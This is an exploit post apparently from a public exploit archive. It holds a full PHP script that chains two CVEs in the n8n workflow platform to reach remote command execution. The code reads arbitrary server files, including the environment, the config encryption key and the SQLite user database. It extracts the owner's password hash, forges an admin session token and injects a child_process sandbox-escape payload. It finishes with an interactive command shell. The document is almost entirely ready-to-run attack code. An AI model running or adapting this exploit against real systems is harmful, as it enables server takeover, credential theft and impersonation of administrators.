n8n 2.0.0-rc.4 Remote Command Execution
=============================================================================================================================================
| # Title n8n 2.0.0-rc.4 Remote Command Execution
=============================================================================================================================================
| # Title : n8n 2.0.0-rc.4 Full chain exploit vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://docs.n8n.io/release-notes/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/213586/ & CVE-2025-68613, CVE-2026-21858
[+] Summary : a PHP port of a research exploit targeting n8n, chaining multiple vulnerabilities to ultimately achieve remote command execution (RCE).
[+] PoC : php poc.php
<?php
define('BANNER', "
?????????????????????????????????????????????????????????????????
? CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ?
? Arbitrary File Read ? Token Forge ? Sandbox Bypass ? RCE ?
? ?
? by indoushka ?
?????????????????????????????????????????????????????????????????
");
define('RCE_PAYLOAD', '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}');
class Ni8mare {
private $base_url;
private $form_url;
private $session;
private $admin_token;
public function __construct($base_url, $form_path) {
$this->base_url = rtrim($base_url, '/');
$this->form_url = $this->base_url . '/' . ltrim($form_path, '/');
$this->session = $this->init_session();
$this->admin_token = null;
}
private function init_session() {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Ni8mare/1.0)');
return $ch;
}
private function close_session() {
if ($this->session) {
curl_close($this->session);
}
}
private function randstr($n = 12) {
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
$result = '';
for ($i = 0; $i < $n; $i++) {
$result .= $chars[random_int(0, strlen($chars) - 1)];
}
return $result;
}
private function randpos() {
return [random_int(100, 600), random_int(100, 600)];
}
private function api($method, $path, $options = []) {
$url = $this->base_url . $path;
$ch = curl_init($url);
$headers = ['Content-Type: application/json'];
if ($this->admin_token) {
$headers[] = 'Cookie: n8n-auth=' . $this->admin_token;
}
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, $options['timeout'] ?? 30);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
if (isset($options['json'])) {
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($options['json']));
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 300) {
return json_decode($response, true);
}
return null;
}
private function lfi_payload($filepath) {
return [
'data' => [],
'files' => [
'f-' . $this->randstr(6) => [
'filepath' => $filepath,
'originalFilename' => $this->randstr(8) . '.bin',
'mimetype' => 'application/octet-stream',
'size' => random_int(10000, 100000)
]
]
];
}
private function build_nodes($command) {
$trigger_name = 'T-' . $this->randstr(8);
$rce_name = 'R-' . $this->randstr(8);
$result_var = 'v' . $this->randstr(6);
$payload_value = str_replace('CMD', addslashes($command), RCE_PAYLOAD);
$nodes = [
[
'parameters' => [],
'name' => $trigger_name,
'type' => 'n8n-nodes-base.manualTrigger',
'typeVersion' => 1,
'position' => $this->randpos(),
'id' => 't-' . $this->randstr(12)
],
[
'parameters' => [
'values' => [
'string' => [[
'name' => $result_var,
'value' => $payload_value
]]
]
],
'name' => $rce_name,
'type' => 'n8n-nodes-base.set',
'typeVersion' => 2,
'position' => $this->randpos(),
'id' => 'r-' . $this->randstr(12)
]
];
$connections = [
$trigger_name => [
'main' => [[
'node' => $rce_name,
'type' => 'main',
'index' => 0
]]
]
];
return [$nodes, $connections, $trigger_name, $rce_name];
}
public function read_file($filepath, $timeout = 30) {
$payload = $this->lfi_payload($filepath);
$ch = $this->session;
curl_setopt($ch, CURLOPT_URL, $this->form_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code >= 200 && $http_code < 300 && !empty($response)) {
return $response;
}
return null;
}
public function get_version() {
$resp = $this->api('GET', '/rest/settings', ['timeout' => 10]);
if (!$resp) {
return ['0.0.0', false];
}
$version = $resp['data']['versionCli'] ?? '0.0.0';
$parts = explode('.', $version);
$major = intval($parts[0] ?? 0);
$minor = intval($parts[1] ?? 0);
$vuln = $major < 1 || ($major == 1 && $minor < 121);
return [$version, $vuln];
}
public function get_home() {
$data = $this->read_file('/proc/self/environ');
if (!$data) {
return null;
}
$vars = explode("\x00", $data);
foreach ($vars as $var) {
if (strpos($var, 'HOME=') === 0) {
return substr($var, 5);
}
}
return null;
}
public function get_key($home) {
$data = $this->read_file($home . '/.n8n/config');
if (!$data) {
return null;
}
$config = json_decode($data, true);
return $config['encryptionKey'] ?? null;
}
public function get_db($home) {
return $this->read_file($home . '/.n8n/database.sqlite', 120);
}
public function extract_admin($db) {
$temp_file = tempnam(sys_get_temp_dir(), 'n8n_db_');
file_put_contents($temp_file, $db);
try {
$pdo = new PDO("sqlite:$temp_file");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $pdo->query("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1");
$row = $stmt->fetch(PDO::FETCH_ASSOC);
unlink($temp_file);
if ($row) {
return [$row['id'], $row['email'], $row['password']];
}
} catch (Exception $e) {
if (file_exists($temp_file)) {
unlink($temp_file);
}
}
return null;
}
public function forge_token($key, $uid, $email, $pw_hash) {
$key_part = '';
for ($i = 0; $i < strlen($key); $i += 2) {
$key_part .= $key[$i];
}
$secret = hash('sha256', $key_part);
$hash_input = $email . ':' . $pw_hash;
$h = substr(base64_encode(hash('sha256', $hash_input, true)), 0, 10);
$header = base64_encode(json_encode(['alg' => 'HS256', 'typ' => 'JWT']));
$payload = base64_encode(json_encode(['id' => $uid, 'hash' => $h]));
$signature = base64_encode(hash_hmac('sha256', "$header.$payload", $secret, true));
$this->admin_token = "$header.$payload.$signature";
return $this->admin_token;
}
public function verify_token() {
return $this->api('GET', '/rest/users', ['timeout' => 10]) !== null;
}
public function rce($command) {
list($nodes, $connections, $trigger_name, $rce_name) = $this->build_nodes($command);
$wf_name = 'wf-' . $this->randstr(16);
$workflow = [
'name' => $wf_name,
'active' => false,
'nodes' => $nodes,
'connections' => $connections,
'settings' => []
];
$resp = $this->api('POST', '/rest/workflows', ['json' => $workflow, 'timeout' => 10]);
if (!$resp) {
return null;
}
$wf_id = $resp['data']['id'] ?? null;
if (!$wf_id) {
return null;
}
$run_data = [
'workflowData' => [
'id' => $wf_id,
'name' => $wf_name,
'active' => false,
'nodes' => $nodes,
'connections' => $connections,
'settings' => []
]
];
$resp = $this->api('POST', "/rest/workflows/$wf_id/run", ['json' => $run_data, 'timeout' => 30]);
if (!$resp) {
$this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]);
return null;
}
$exec_id = $resp['data']['executionId'] ?? null;
$result = $exec_id ? $this->get_result($exec_id) : null;
$this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]);
return $result;
}
private function get_result($exec_id) {
$resp = $this->api('GET', "/rest/executions/$exec_id", ['timeout' => 10]);
if (!$resp) {
return null;
}
$data = $resp['data']['data'] ?? null;
if (!$data) {
return null;
}
// Handle both cases: string JSON or already decoded array
if (is_string($data)) {
$parsed = json_decode($data, true);
} else {
$parsed = $data;
}
if (!is_array($parsed)) {
return null;
}
// Search for the result in reverse order
for ($i = count($parsed) - 1; $i >= 0; $i--) {
if (isset($parsed[$i]) && is_string($parsed[$i])) {
$item = $parsed[$i];
if (strlen($item) > 3 && !in_array($item, ['success', 'error'])) {
return trim($item);
}
}
}
return null;
}
public function pwn() {
echo "[+] HOME directory... ";
$home = $this->get_home();
if (!$home) {
echo "FAILED\n";
return false;
}
echo "OK: $home\n";
echo "[+] Encryption key... ";
$key = $this->get_key($home);
if (!$key) {
echo "FAILED\n";
return false;
}
echo "OK: " . substr($key, 0, 8) . "...\n";
echo "[+] Database... ";
$db = $this->get_db($home);
if (!$db) {
echo "FAILED\n";
return false;
}
echo "OK: " . strlen($db) . " bytes\n";
echo "[+] Admin user... ";
$admin = $this->extract_admin($db);
if (!$admin) {
echo "FAILED\n";
return false;
}
list($uid, $email, $pw) = $admin;
echo "OK: $email\n";
echo "[+] Token forge... ";
$this->forge_token($key, $uid, $email, $pw);
echo "OK\n";
echo "[+] Admin access... ";
if (!$this->verify_token()) {
echo "DENIED\n";
return false;
}
echo "GRANTED!\n";
echo "[+] Cookie: n8n-auth=" . $this->admin_token . "\n";
return true;
}
public function __destruct() {
$this->close_session();
}
}
function run_read($exploit, $path, $output = null) {
$data = $exploit->read_file($path);
if (!$data) {
echo "[-] File read failed\n";
return;
}
echo "[+] " . strlen($data) . " bytes\n";
if ($output) {
file_put_contents($output, $data);
echo "[+] Saved to: $output\n";
return;
}
echo $data . "\n";
}
function run_cmd($exploit, $cmd) {
echo "[+] RCE... ";
$out = $exploit->rce($cmd);
if (!$out) {
echo "FAILED\n";
return;
}
echo "OK\n\n";
echo $out . "\n";
}
function run_shell($exploit) {
echo "[*] Interactive mode (type 'exit' to quit)\n";
while (true) {
echo "\033[91mn8n\033[0m> ";
$cmd = trim(fgets(STDIN));
if (empty($cmd) || $cmd === 'exit') {
break;
}
$out = $exploit->rce($cmd);
if ($out) {
echo $out . "\n";
}
}
}
function parse_args() {
global $argv;
if (count($argv) < 3) {
echo "Usage: php " . basename($argv[0]) . " <url> <form_path> [options]\n";
echo "Options:\n";
echo " --read PATH Read arbitrary file\n";
echo " --cmd CMD Execute single command\n";
echo " --output FILE Save LFI output to file\n";
echo "\nExample:\n";
echo " php exploit.php http://localhost:5678 /form/upload --read /etc/passwd\n";
echo " php exploit.php http://localhost:5678 /form/upload --cmd id\n";
echo " php exploit.php http://localhost:5678 /form/upload\n";
exit(1);
}
$args = [
'url' => $argv[1],
'form' => $argv[2],
'read' => null,
'cmd' => null,
'output' => null
];
for ($i = 3; $i < count($argv); $i++) {
if ($argv[$i] === '--read' && isset($argv[$i + 1])) {
$args['read'] = $argv[++$i];
} elseif ($argv[$i] === '--cmd' && isset($argv[$i + 1])) {
$args['cmd'] = $argv[++$i];
} elseif ($argv[$i] === '--output' && isset($argv[$i + 1])) {
$args['output'] = $argv[++$i];
}
}
return $args;
}
function main() {
echo BANNER . "\n";
$args = parse_args();
$exploit = new Ni8mare($args['url'], $args['form']);
list($version, $vuln) = $exploit->get_version();
echo "[*] Target: " . $args['url'] . "\n";
echo "[*] Version: $version (" . ($vuln ? "VULN" : "SAFE") . ")\n";
if ($args['read']) {
run_read($exploit, $args['read'], $args['output']);
return;
}
if (!$exploit->pwn()) {
return;
}
if ($args['cmd']) {
run_cmd($exploit, $args['cmd']);
return;
}
run_shell($exploit);
}
if (php_sapi_name() === 'cli') {
main();
} else {
echo "This script must be run from command line\n";
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================